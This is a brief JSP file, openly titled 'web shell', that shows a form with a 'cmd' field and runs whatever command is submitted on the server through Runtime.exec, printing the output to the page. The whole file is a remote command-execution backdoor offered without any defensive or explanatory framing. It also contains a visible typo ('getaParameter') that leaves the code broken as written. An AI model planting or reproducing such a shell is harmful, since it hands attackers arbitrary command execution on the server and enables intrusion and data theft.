
<%@ page import="java.io.File" %>
<%@ page import="javax.naming.Context" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>

<head>
    <title>Title</title>
</head>
<body>
<h1>web shell</h1>
<form action="test2.jsp">
<input type="text" name="cmd" id=""><input type="submit" value="执行">
</form>
</body>
<%

    String cmd=request.getaParameter("cmd");
    BufferedReader br=null;
    if(cmd==null){
       cmd="ls";
}
    try {
        Process p=Runtime.getRuntime().exec(cmd);
        br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line = null;
        StringBuffer sb = new StringBuffer();
        while ((line = br.readLine()) != null) {
            sb.append(line + "\n");
            out.print(line+"<br>");
        }
        String data=sb.toString();
        //out.print(data);
    } catch (IOException e1) {
        e1.printStackTrace();
    } finally {
        if (br != null)
        {
            try {
                br.close();
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
    }
%>

</html>
